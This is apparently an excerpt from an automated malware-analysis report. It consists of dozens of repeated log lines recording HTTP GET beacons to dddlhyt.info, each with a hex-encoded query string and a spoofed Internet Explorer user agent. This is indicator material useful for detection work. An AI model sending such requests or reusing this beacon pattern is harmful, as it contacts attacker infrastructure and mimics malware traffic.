Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
